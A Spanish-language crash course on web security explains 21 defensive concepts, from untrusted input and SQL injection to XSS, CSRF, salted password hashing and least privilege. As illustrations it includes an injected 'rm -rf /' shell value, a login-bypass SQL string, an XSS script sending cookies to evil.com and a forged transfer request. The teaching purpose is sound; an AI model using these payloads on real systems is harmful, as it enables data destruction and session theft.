Curso exprés · No. 22
Casi toda vulnerabilidad web se remonta a un mismo error: confiar en datos que vinieron de fuera. El atacante controla la petición, el formulario, la URL, el archivo subido — todo. La seguridad web es la disciplina de tratar cada fragmento de entrada externa como hostil hasta que demuestre ser seguro, y de aprender el puñado de ataques clásicos que castigan a quien lo olvida.
21 conceptos · un diagrama para cada uno · hoja de referencia al final
Antes de cualquier ataque concreto, hay un único principio que previene la mayoría de ellos. Interioriza esta idea y el resto del curso es solo eso, aplicado en distintos lugares.
El mapa: 21 conceptos en seis grupos
Un mapa de metro: primero ves las líneas enteras, luego recorres estación por estación.
El curso sigue seis grupos. Primero, la única regla: nunca confíes en la entrada. Luego tres ataques clásicos: Injection (la entrada se vuelve código en el servidor), XSS (la entrada se vuelve un script en el navegador) y CSRF (se engaña al navegador para que envíe una petición en tu nombre). Después, cómo guardar secretos y contraseñas. Y por último, cómo limitar el daño cuando algo sí se cuela, más la práctica.
Cómo leer cada concepto
Un pasaporte: los mismos campos para todos, así es fácil compararlos.
Cada concepto de abajo recibe el mismo trato: su nombre en inglés (el término que buscarás en la documentación), una imagen de la vida real, un diagrama y una ficha. Las fichas de ataques tienen los campos qué es, cómo funciona, ejemplo, defensa, relaciones. Las fichas de defensas y principios tienen problema, idea, ejemplo, coste, relaciones. Hay una regla principal, y la verás en cada ficha: la entrada son datos, nunca código.
Untrusted Input — toda entrada externa la controla el atacante
Un puesto de control fronterizo trata cada paquete que llega como potencialmente peligroso hasta inspeccionarlo — no deja pasar las cosas solo porque parezcan corrientes.
Todo lo que entra a tu sistema desde fuera — campos de formulario, URLs, cabeceras, archivos subidos, llamadas a la API — lo controla quien lo envió, y puede ser un atacante. Puede enviar cualquier cosa, no solo lo que tu formulario pretendía. Este concepto se llama untrusted input (entrada no confiable), y la regla es: trata toda entrada externa como hostil hasta que la hayas validado. Casi toda vulnerabilidad de este curso es, en el fondo, un lugar donde alguien confió en una entrada en la que no debía.
- Problema
- El código supone, sin decirlo, que recibió justo lo que el formulario pretendía.
- Idea
- Toda entrada externa es hostil hasta que la hayas comprobado.
- Ejemplo
El campo «nombre» recibe no un nombre sino SQL, una etiqueta
<script>o una cadena de un megabyte.- Coste
- Necesitas comprobaciones en cada vía de entrada, no solo «en algún sitio».
- Relaciones
Dónde comprobar — Trust Boundary; cómo — Input Validation y Output Escaping.
Trust Boundary — dónde viven las comprobaciones
El muro alrededor de un edificio, con una sola puerta vigilada — dentro se confía, fuera no, y todo lo que cruza hacia adentro se revisa en esa línea.
Una trust boundary (frontera de confianza) es la línea entre el mundo exterior y tu sistema. Los datos que cruzan hacia adentro deben comprobarse en esa frontera, porque una vez dentro, tu código tiende a tratarlos como seguros. El error clásico es validar solo en el cliente (el navegador) y suponer que basta — pero el atacante se salta el navegador por completo. Las comprobaciones de seguridad reales ocurren en el servidor, en la frontera que sí controlas.
- Problema
La única comprobación está en el navegador, y el atacante envía la petición directamente, rodeándola.
- Idea
Traza la línea «fuera / dentro» y comprueba todo lo que la cruce, en el servidor.
- Ejemplo
El formulario JS no acepta un importe negativo, pero
curlconamount=-500llega igual al servidor.- Coste
Aun así quieres comprobaciones en el cliente por comodidad — eso es duplicación.
- Relaciones
Input Validation vive aquí; las comprobaciones del cliente son comodidad, no protección.
Input Validation y Output Escaping — validar la entrada, escapar la salida
Un portero comprueba los documentos en la puerta (quién entra), y un traductor se asegura de que tus palabras no puedan malinterpretarse como una orden en la siguiente sala (cómo salen las cosas). Dos tareas distintas.
Dos hábitos frenan la mayoría de los ataques. Input validation: rechaza los datos que no tengan la forma esperada — tipo equivocado, demasiado largos, mal formados. Output escaping: cuando pones datos en otro contexto — una consulta a la base de datos, una página HTML, un comando de shell — neutraliza todo lo que pueda leerse como código allí. Casi todos los ataques de abajo son entrada no confiable que se cuela en un lugar donde se interpreta como instrucciones en vez de como datos.
- Problema
- Datos de cualquier forma y longitud entran al sistema.
- Idea
Describe lo que esperas (tipo, longitud, formato) y rechaza todo lo demás en la frontera.
- Ejemplo
agees un entero de 0 a 150;emailcumple el formato y tiene como máximo 254 caracteres.- Coste
La validación no hace la entrada segura en todas partes — aún necesitas Output Escaping a la salida.
- Relaciones
Funciona en la Trust Boundary; va en pareja con Output Escaping (capítulo 3).
Cada fragmento de entrada externa lo controla el atacante. Valídalo en la frontera, en el servidor, y escápalo dondequiera que se use. Esa única regla previene la mayoría de los ataques.
La clase de ataque más dañina es también la más sencilla de entender: la entrada no confiable se trata como código. El caso de manual es la SQL injection, y muestra todo el patrón.
Injection — la entrada se vuelve código
Un formulario que pide tu nombre, donde alguien escribe una instrucción en su lugar — y el empleado, al leer la línea entera en voz alta, ejecuta la instrucción sin querer.
Hay injection cuando la entrada no confiable se mezcla con un comando o una consulta y se ejecuta como parte de ellos. El sistema quería usar tu entrada como datos, pero la entrada se fabricó para leerse como código. Es la misma falla de raíz en SQL, en comandos de shell y más: la frontera entre «la instrucción» y «los datos del usuario» nunca se hizo cumplir, así que el atacante aportó instrucciones.
- Qué es
La entrada no confiable se ejecuta como parte de un comando o consulta.
- Cómo funciona
El código pega la entrada en una cadena, y el intérprete (SQL, shell…) ejecuta todo.
- Ejemplo
os.system("ping " + host), yhostllega como8.8.8.8; rm -rf /.- Defensa
Pasa la entrada separada del código — como parámetros, nunca pegándola.
- Relaciones
Un caso concreto es SQL Injection; la misma idea en el navegador es XSS.
SQL Injection — el caso clásico
Una papeleta de petición de biblioteca donde, en el campo del título, alguien escribe «...y además abre todas las puertas» — y el sistema automatizado obedientemente hace ambas cosas.
En la SQL injection, un atacante escribe sintaxis de base de datos en un campo normal. Si tu código arma una consulta pegando la entrada en una cadena, esa entrada pasa a ser parte de la consulta — y le permite leer datos de otros usuarios, saltarse un login o borrar tablas. Lleva décadas siendo una de las vulnerabilidades web más comunes y graves, y viene enteramente de armar consultas por concatenación de cadenas con entrada no confiable.
- Qué es
- Injection en una consulta a la base de datos.
- Cómo funciona
La consulta se arma como
"... WHERE name = '" + input + "'", y la entrada cambia su significado.- Ejemplo
Escribir
' OR '1'='1en un formulario de login — la condición es siempre verdadera, la comprobación de la contraseña se salta.- Defensa
- Parameterized Query — siempre, sin excepciones.
- Relaciones
El tipo más conocido de Injection; figura en el OWASP Top 10 bajo Injection.
Parameterized Query — la solución
Un formulario con casillas cerradas y etiquetadas: lo que escribas en la casilla «nombre» se trata solo como un nombre, nunca como parte de las instrucciones del formulario, pongas lo que pongas.
La cura es una parameterized query (consulta parametrizada, o prepared statement). Escribes la consulta con marcadores de posición y pasas la entrada del usuario por separado. La base de datos primero analiza la estructura de la consulta y solo después rellena los datos en los huecos — así la entrada siempre sigue siendo dato, nunca SQL. La entrada puede ser la cadena más retorcida imaginable y aun así no puede cambiar la estructura de la consulta. Nunca armes una consulta concatenando entrada en una cadena — usa parámetros, siempre, y la SQL injection simplemente no puede ocurrir.
- Problema
- Pegar cadenas convierte la entrada en parte del SQL.
- Idea
Primero la forma de la consulta con marcadores, luego los datos — por separado.
- Ejemplo
db.query("SELECT * FROM users WHERE name = $1", [input])- Coste
Casi ninguno. Ojo: los nombres de tablas y columnas no pueden ser parámetros — tómalos de una lista permitida.
- Relaciones
Cura la SQL Injection; los ORM y los query builders lo hacen por ti — si no los esquivas.
Injection es entrada no confiable ejecutada como código. La SQL injection es el caso clásico, y las consultas parametrizadas — la entrada pasada como dato, nunca concatenada — son la cura.
Si la injection es entrada que se vuelve código en el servidor, el cross-site scripting es entrada que se vuelve código en el navegador. Convierte tu propia página en un arma contra tus usuarios.
XSS — la entrada se vuelve un script en el navegador
Un tablón de anuncios del barrio donde alguien clava una nota trucada para que a quien la lea le vacíen los bolsillos sin que se dé cuenta — el peligro lo entrega el propio tablón de confianza.
El cross-site scripting (XSS) ocurre cuando un atacante consigue que su JavaScript se ejecute en el navegador de otro usuario, en tu sitio. Si tomas entrada del usuario — un comentario, un nombre, un perfil — y la pones directamente en una página, un atacante puede enviar un <script> en lugar de texto, y se ejecuta para todos los que vean esa página. Su código actúa ahora con la sesión de tu usuario: roba cookies, se hace pasar por él, desfigura la página.
- Qué es
El JavaScript de otro se ejecuta en el navegador de tu usuario, en tu sitio.
- Cómo funciona
- La entrada se pone en la página como HTML, sin escapar.
- Ejemplo
El comentario
<script>fetch('//evil.com?c='+document.cookie)</script>roba la sesión de cada lector.- Defensa
- Output Escaping + Content Security Policy.
- Relaciones
La misma idea que Injection, solo que el código se ejecuta en el navegador.
Por qué el XSS es tan peligroso — se ejecuta con la confianza de tu sitio
Un impostor con un uniforme de confianza: la gente obedece porque el uniforme — el dominio de tu sitio — es lo que le inspira confianza, no la persona que lo lleva.
El script malicioso se ejecuta como tu sitio, con toda la confianza que el usuario da a tu dominio. Puede leer lo que el usuario ve, actuar como él y enviar sus datos al atacante. El navegador no tiene forma de saber que el script no era tuyo — vino de tu página. Por eso «es solo un campo de comentarios» son las últimas palabras famosas: cualquier punto donde la entrada del usuario llega a la página es un posible agujero de XSS.
Output Escaping y Content Security Policy — defenderse del XSS
Un traductor que muestra las palabras de cada invitado como texto plano en la pantalla — así, aunque alguien grite una orden, aparece como palabras citadas inofensivas, no como una orden que alguien cumpla.
La solución central es el output escaping: cuando pones datos del usuario en HTML, convierte caracteres como < y > en texto inofensivo para que se muestren como contenido y nunca se ejecuten como marcado. Los frameworks modernos lo hacen por defecto, y por eso debes dejar que lo hagan. Añade encima una Content Security Policy (CSP) — una regla del navegador que restringe qué scripts pueden ejecutarse — como segunda línea de defensa. Trata como no confiable todo lo que llega a la página y neutralízalo al salir.
- Problema
- La entrada en la página la lee el navegador como marcado y código.
- Idea
Antes de la salida, convierte los caracteres peligrosos en texto seguro — según las reglas del contexto.
- Ejemplo
<script>pasa a<script>y simplemente se muestra en pantalla.- Coste
Hay que escapar por contexto (HTML, atributo, URL, JS); el «HTML en bruto» que esquiva el framework rompe la protección.
- Relaciones
La defensa principal contra el XSS; la segunda mitad de «valida la entrada, escapa la salida».
- Problema
- Se olvidó escapar en algún sitio — y se ejecutó un script ajeno.
- Idea
Una cabecera con la que el sitio dice al navegador qué scripts están permitidos.
- Ejemplo
Content-Security-Policy: script-src 'self'— bloquea los scripts en línea y los de otros dominios.- Coste
Requiere ajuste y pruebas: una política estricta puede romper widgets de terceros.
- Relaciones
La segunda línea contra el XSS — un ejemplo de Defense in Depth.
El XSS es entrada no confiable ejecutándose como script en los navegadores de tus usuarios, con la confianza de tu sitio. Escapa todo lo que llegue a la página y añade una Content Security Policy.
El siguiente ataque no inyecta nada — abusa de la costumbre del propio navegador de adjuntar tus credenciales a cada petición, engañándolo para que actúe en tu nombre sin que tú lo quieras.
CSRF — se engaña a tu navegador para que actúe
Alguien falsifica tu firma en un formulario y lo envía desde tu dirección — el banco ve una petición válida y firmada por ti y la procesa, sin saber que no la escribiste tú.
El cross-site request forgery (CSRF) aprovecha que los navegadores adjuntan automáticamente tus cookies — incluida tu sesión iniciada — a cualquier petición a un sitio. Un atacante pone una petición oculta a tu banco en su propia página maliciosa; cuando la visitas con la sesión del banco abierta, tu navegador envía la petición con tu sesión adjunta, y el banco cree que lo querías. Te hacen actuar sin que lo hayas elegido jamás.
- Qué es
- Otro sitio hace que tu navegador envíe una petición con tu sesión.
- Cómo funciona
El navegador adjunta las cookies a las peticiones a un sitio, sin importar de dónde vino la petición.
- Ejemplo
En evil.com, un formulario oculto con
POST bank.com/transfer?to=attackerse envía solo, automáticamente.- Defensa
- CSRF Token + SameSite Cookie.
- Relaciones
- Un caso concreto del Confused Deputy.
Confused Deputy — el problema del delegado confundido
Un ayudante de confianza con las llaves, engañado por una nota falsa para que abra la caja fuerte — el ayudante tenía la autoridad y lo engañaron para usarla en favor de otro.
El CSRF es un ataque de confused deputy (delegado confundido): tu navegador tiene autoridad real (tu sesión) y lo engañan para que la ejerza en favor del atacante. El servidor no puede notar la diferencia, porque la petición se ve exactamente como una legítima — mismas cookies, mismo usuario. La falla no son credenciales robadas; es que una petición válida la disparó alguien que no eras tú, y nada demostró tu intención.
- Qué es
Un programa con autoridad al que engañan para usarla en la petición de otro.
- Cómo funciona
El servidor solo comprueba «quién» (la cookie), no «si lo quería».
- Ejemplo
Tu navegador, con tu sesión, envía un formulario plantado por evil.com.
- Defensa
- Exige una prueba de intención, no solo la presencia de autoridad.
- Relaciones
El CSRF es el ejemplo más conocido; se cura con un CSRF Token y SameSite.
CSRF Token y SameSite Cookie — demostrar la intención
Un banco que exige un código de un solo uso, impreso solo en tu propio extracto, con cada transferencia — una petición falsificada desde otro sitio no puede incluirlo, así que se rechaza.
La solución es exigir una prueba de que tu página hizo la petición. Un CSRF token es un valor secreto que tu sitio incrusta en sus propios formularios y comprueba al enviarlos; la página de un atacante no puede conocerlo, así que las peticiones falsificadas fallan. El complemento moderno es el atributo de cookie SameSite, que le dice al navegador que no envíe tu cookie de sesión en peticiones que vienen de otros sitios. Juntos garantizan que una acción sensible vino de tu sitio, con tu intención.
- Problema
- El servidor no distingue tu formulario de uno falsificado.
- Idea
Un secreto en cada formulario de tu sitio; el servidor acepta la petición solo si el secreto coincide.
- Ejemplo
Un campo oculto
<input name="csrf" value="a8f3…">, comprobado contra la sesión.- Coste
- Hay que añadirlo a cada formulario y petición que cambie algo.
- Relaciones
Defiende del CSRF; los frameworks suelen hacerlo por ti. Va en pareja con SameSite Cookie.
- Problema
El navegador adjunta las cookies a las peticiones de cualquier sitio.
- Idea
Marca la cookie de sesión para que el navegador no la envíe en peticiones entre sitios.
- Ejemplo
Set-Cookie: session=…; SameSite=Lax; Secure; HttpOnly- Coste
Un complemento, no un sustituto del token: depende del navegador y de la configuración.
- Relaciones
Junto con un CSRF Token cierra el paso al CSRF — otra vez, Defense in Depth.
El CSRF engaña a tu navegador para que dispare una petición con tu sesión adjunta. Demuestra la intención con un CSRF token y cookies SameSite, para que las peticiones falsificadas entre sitios se rechacen.
Algunos datos son tan sensibles que la forma de guardarlos es en sí una decisión de seguridad. Las contraseñas son el ejemplo clásico, y revelan la diferencia entre dos palabras que la gente confunde sin parar.
Plaintext Passwords — nunca guardes contraseñas en texto plano
Guardar la lista de las llaves de casa de todos en un cajón sin cerradura en recepción — un solo robo y todas las casas quedan abiertas. La comodidad es la catástrofe.
Si guardas las contraseñas como texto legible (plaintext), cualquiera que consiga tu base de datos — por una brecha, una fuga, alguien de dentro — tiene al instante la contraseña de todos los usuarios. Y como la gente reutiliza contraseñas, también has comprometido sus otras cuentas. Guardar una contraseña en texto plano es de los errores más graves y básicos de la seguridad web. El dato es demasiado peligroso para guardarlo en una forma que se pueda leer.
Hashing vs Encryption — el hashing es de un solo sentido, el cifrado de dos
Una trituradora de papel frente a una caja cerrada con llave: la caja se puede abrir y recuperar el original, pero la trituradora convierte el papel en confeti que nunca podrás recomponer — aunque el mismo papel siempre se tritura igual.
Esta es la distinción que hay que clavar. El encryption (cifrado) es reversible: con la clave, recuperas los datos originales a partir de los revueltos. Úsalo para datos que debes volver a leer, como una clave de API guardada. El hashing es de un solo sentido: convierte la entrada en una huella de longitud fija que no se puede revertir hasta la entrada, pero la misma entrada siempre produce la misma huella. Resuelven problemas distintos, y confundirlos es un error clásico.
- Cifrado
- De dos sentidos: con la clave puedes volver a leerlo.
- Hashing
- De un sentido: la huella no se puede revertir, solo comparar.
- Ejemplo
La clave de API de un socio — cífrala (la necesitas en las peticiones). Una contraseña — hashéala (solo necesitas comprobarla).
- Ojo
Las «contraseñas cifradas» son un error: roban la clave y puedes leer todas las contraseñas.
- Relaciones
- Para contraseñas — hashing con una Salt y un algoritmo lento.
Salt y un hash lento — guardar contraseñas como se debe
Comprobar un sello de lacre: no necesitas la carta original para verificarlo — solo vuelves a sellar y comparas las marcas. Confirmas la coincidencia sin guardar nunca el secreto en sí.
Haces hash de las contraseñas porque en realidad nunca necesitas recuperarlas — solo necesitas comprobarlas. Guardas el hash; al iniciar sesión, haces el hash de lo que escribieron y comparas. Una brecha filtra huellas, no contraseñas. Añade una salt — un valor aleatorio único por contraseña — para que contraseñas idénticas den hashes distintos y las tablas de ataque precalculadas fallen. Y usa un hash lento hecho a propósito para contraseñas (como bcrypt o Argon2), nunca uno rápido de uso general, para que adivinar sea caro.
- Problema
Un hash rápido y sin salt: las contraseñas idénticas se ven a simple vista, y adivinar y las tablas precalculadas funcionan.
- Idea
Una salt única por contraseña + un algoritmo de contraseñas deliberadamente lento.
- Ejemplo
Registro:
hash = argon2(password, salt). Login: haz el hash de lo escrito con la misma salt y compara.- Coste
El login es un poco más lento — ese es el objetivo: para el atacante es mucho más lento.
- Relaciones
Una aplicación del Hashing; limita el daño de una brecha, como Defense in Depth.
Nunca guardes contraseñas en texto plano. El cifrado es reversible para datos que debes volver a leer; el hashing es de un solo sentido para datos que solo verificas — haz hash de las contraseñas, con salt y con un algoritmo lento.
Más allá de los ataques concretos hay principios que limitan el daño cuando algo se cuela — porque en seguridad se asume que, tarde o temprano, algo se colará.
Least Privilege — el mínimo acceso para el trabajo
Una tarjeta de hotel que abre solo tu habitación y el gimnasio — no todas las puertas del edificio. Si se pierde, el daño queda contenido a lo que podía alcanzar.
Least privilege (mínimo privilegio) significa que cada usuario, servicio y credencial recibe solo el acceso mínimo que su trabajo requiere — nada más. La cuenta de base de datos que usa tu app web no debería poder borrar tablas si solo lee y escribe filas. Así, cuando algo se compromete — y asume que pasará — el blast radius (radio de la explosión) es pequeño, acotado por lo que esa pieza tenía permitido hacer. Los permisos demasiado amplios convierten una brecha pequeña en una total.
- Problema
- Una parte comprometida accede a todo.
- Idea
- Da a cada parte los derechos mínimos que su trabajo necesita.
- Ejemplo
El usuario de BD de la app:
SELECT, INSERT, UPDATEen sus propias tablas, sinDROP, sin superusuario.- Coste
Los permisos exigen reflexión y mantenimiento; «ponle admin y ya» siempre es más fácil.
- Relaciones
Una capa de Defense in Depth; en OWASP es Broken Access Control.
Defense in Depth — capas, no un solo muro
Un castillo con foso, muralla, puerta y guardias — no se confía en que ninguna barrera sea perfecta, así que cada una atrapa lo que la anterior dejó pasar.
Defense in depth (defensa en profundidad) significa apilar protecciones independientes para que un fallo no sea fatal. Valida la entrada y usa consultas parametrizadas y ejecuta con mínimo privilegio y escapa la salida. Cualquier control puede fallar o esquivarse; juntos, hacen que un compromiso total exija vencerlos todos a la vez. La seguridad no es un muro perfecto — son controles corrientes superpuestos, cada uno suponiendo que los demás podrían fallar.
- Problema
- Una sola defensa fallará algún día — y entonces todo queda abierto.
- Idea
- Varias capas independientes, cada una atrapando lo que otra dejó pasar.
- Ejemplo
Se olvidó escapar en una plantilla — pero la CSP impide que el script se ejecute.
- Coste
Más ajustes y comprobaciones; parte del trabajo se «duplica» a propósito.
- Relaciones
Une Input Validation, Parameterized Query, Output Escaping, CSP, Least Privilege.
Information Leakage — no filtres pistas en los errores
Una puerta cerrada que, al sacudirla, anuncia servicial «llave equivocada — la buena es de latón y está un poco doblada» — diciéndole al intruso exactamente cómo entrar.
Los errores detallados y las respuestas que cuentan demasiado le dan un mapa al atacante. Esto se llama information leakage (fuga de información). Un login que dice «contraseña incorrecta» (frente a «no existe ese usuario») confirma qué cuentas existen; un stack trace expone tu framework, versiones y la estructura de tus consultas. Muestra a los usuarios un mensaje genérico, registra el detalle en privado y nunca devuelvas más datos de los que el cliente necesita. Fallar en silencio no es solo orden: le niega al atacante el reconocimiento que hace fácil el siguiente paso.
- Qué es
Los errores y las respuestas le cuentan al atacante cómo está construido el sistema.
- Ejemplo
«No existe ese usuario» vs «contraseña incorrecta»; un stack trace con
db.py:42y la versión de la base de datos.- Defensa
Un mensaje genérico («correo o contraseña no válidos»), el detalle a los logs, solo los campos necesarios en la respuesta.
- Ojo
- El modo debug olvidado encendido en producción.
- Relaciones
En el OWASP Top 10 — Security Misconfiguration; otra capa más de Defense in Depth.
Asume que algo se colará. El mínimo privilegio acota el daño, la defensa en profundidad hace que ningún fallo aislado sea fatal, y los errores silenciosos le niegan el mapa al atacante.
La seguridad es una práctica entretejida en cómo construyes, no una función que se pega al final. Los hábitos son pocos, y la mayoría son la única regla aplicada con disciplina.
Secure Defaults y Patching — apóyate en el framework y mantenlo al día
No forjas tus propias cerraduras — instalas otras probadas y las cambias cuando se anuncia un fallo. Hacerlas tú mismo es la forma de acabar con una cerradura peor.
La mayoría de los ataques clásicos ya los resuelven frameworks y librerías maduros: escapan la salida, parametrizan las consultas y gestionan los tokens CSRF por ti — si los usas como se pensó en vez de esquivarlos. Eso son los secure defaults (valores seguros por defecto). Y como constantemente se encuentran vulnerabilidades en las dependencias, mantenlas actualizadas (patching); una librería sin parchear es una de las vías de entrada más comunes. No inventes tu propia criptografía ni tu propio escapado — usa las herramientas probadas y mantenlas al día.
- Problema
Criptografía y escapado caseros con agujeros; librerías viejas con vulnerabilidades conocidas.
- Idea
Usa la protección integrada del framework como se pensó, y actualiza las dependencias con regularidad.
- Ejemplo
El motor de plantillas escapa solo; el ORM parametriza; un bot como Dependabot propone actualizaciones.
- Coste
Las actualizaciones necesitan pruebas; esquivar el framework (HTML/SQL «en bruto») rompe la protección.
- Relaciones
Te da Output Escaping, Parameterized Query, CSRF Token «gratis».
OWASP Top 10 — el mapa de las vulnerabilidades más comunes
Existe una lista de comprobación previa al vuelo porque los mismos pocos fallos causan la mayoría de los accidentes — los revisas siempre en vez de redescubrirlos en el aire.
No tienes que imaginar cada amenaza. El OWASP Top 10 es la lista de la industria con las vulnerabilidades web más comunes y graves — injection, broken access control y el resto — y sirve también como lista de comprobación. Recorre tu aplicación contra ella y atraparás las categorías que causan la abrumadora mayoría de las brechas reales. Usar un mapa conocido es mejor que esperar haber pensado en todo por tu cuenta.
- Qué es
Un ranking de la industria de las clases de vulnerabilidades web más comunes y peligrosas.
- Cómo usarlo
Como lista de comprobación: recorre cada categoría contra tu propia aplicación.
- Ejemplo
La categoría Injection — comprueba que cada consulta esté parametrizada y la salida escapada.
- Ojo
- Es un mínimo, no una garantía total de seguridad.
- Relaciones
- Une todo el curso, desde Injection hasta Least Privilege.
Cómo encaja todo
Una casa se protege con una cerradura, una alarma y una caja fuerte a la vez — no con «una sola medida correcta».
En el centro hay una regla — nunca confíes en la entrada, comprobada en la trust boundary. De ella crecen tres defensas contra tres ataques: consultas parametrizadas contra Injection, escapado y CSP contra XSS, token y SameSite contra CSRF. Y para cuando algo sí se cuela: hashing con salt (una fuga no entrega las contraseñas), least privilege (una parte comprometida no entrega todo) y defense in depth (una capa fallida no es fatal). Por encima de todo — el OWASP Top 10 como lista de comprobación.
- ¿Por dónde entra la entrada externa, y se valida en la frontera, en el servidor?
- Consultas — ¿parametrizadas, nunca armadas concatenando entrada?
- Salida a la página — ¿escapada, para que la entrada del usuario no pueda ejecutarse como script?
- Acciones que cambian estado — ¿protegidas contra CSRF con tokens y SameSite?
- Datos sensibles — ¿contraseñas con hash y salt, secretos nunca en texto plano?
- Least privilege — ¿cada parte tiene solo el acceso que necesita?
- Tratas toda entrada externa como hostil, comprobada en el servidor, en la frontera.
- Las consultas están parametrizadas y la salida a la página está escapada — por defecto, mediante el framework.
- Las peticiones que cambian estado llevan un CSRF token, y las cookies son SameSite.
- Las contraseñas llevan hash y salt; nada sensible se guarda en texto plano.
- Cada parte funciona con mínimo privilegio, las dependencias están parcheadas y te revisas contra el OWASP Top 10.
Hoja de referencia: los 21 conceptos
La única regla
- Untrusted Inputentrada externa
Todo lo de fuera lo controla el atacante. Hostil hasta que se compruebe.
- Trust Boundaryfuera vs dentro
La línea «fuera / dentro». Las comprobaciones viven en ella, en el servidor, no en el navegador.
- Input Validationvalidar en la frontera
Rechaza todo lo de forma equivocada: tipo, longitud, formato.
Injection
- Injectioninyección de código
Entrada pegada en un comando y ejecutada como código.
- SQL InjectionSQLi
Injection en una consulta a la base de datos:
' OR '1'='1y la base de datos lo entrega todo.- Parameterized Queryprepared statement
La consulta y los datos viajan por separado — la entrada siempre sigue siendo dato.
XSS
- XSSCross-Site Scripting
Un script ajeno en el navegador del usuario, con la confianza de tu sitio.
- Output Escapingoutput encoding
<→<: la entrada se muestra como texto, nunca se ejecuta.- Content Security PolicyCSP
Una cabecera que dice qué scripts puede ejecutar el navegador. La segunda línea.
CSRF
- CSRFCross-Site Request Forgery
Otro sitio envía una petición a través de tu navegador con tu cookie.
- Confused Deputyautoridad mal usada
A quien tiene la autoridad lo engañan para usarla en favor de otro.
- CSRF Tokenanti-CSRF token
Un secreto en tus formularios: una petición falsificada no lo conoce.
- SameSite Cookieatributo de cookie
El navegador no adjunta la cookie a las peticiones entre sitios.
Secretos y contraseñas
- Plaintext Passwordsanti-patrón
Una fuga — todas las contraseñas, más otras cuentas donde se reutilizaron.
- Hashing vs Encryptionun sentido vs dos sentidos
El hash es de un solo sentido, solo se compara. El cifrado se puede volver a leer con la clave.
- Salted Password Hashingsalt + bcrypt / Argon2
Una salt por contraseña + un algoritmo lento: adivinar sale caro.
Contención y práctica
- Least Privilegeacceso mínimo
Derechos mínimos — un blast radius pequeño.
- Defense in Depthseguridad por capas
Varias capas independientes; ningún fallo aislado es fatal.
- Information Leakageinformation disclosure
Mensajes genéricos para el usuario, el detalle en logs privados.
- Secure Defaults + Patchingframework y actualizaciones
Usa la protección del framework como se pensó y mantén las dependencias actualizadas.
- OWASP Top 10mapa de vulnerabilidades
La lista de la industria de las vulnerabilidades más comunes — úsala como lista de comprobación.
La seguridad web es sobre todo una regla aplicada con disciplina: nunca confíes en la entrada. Valida en la frontera, escapa a la salida, guarda los secretos con seguridad y apila defensas para cuando algo se cuele.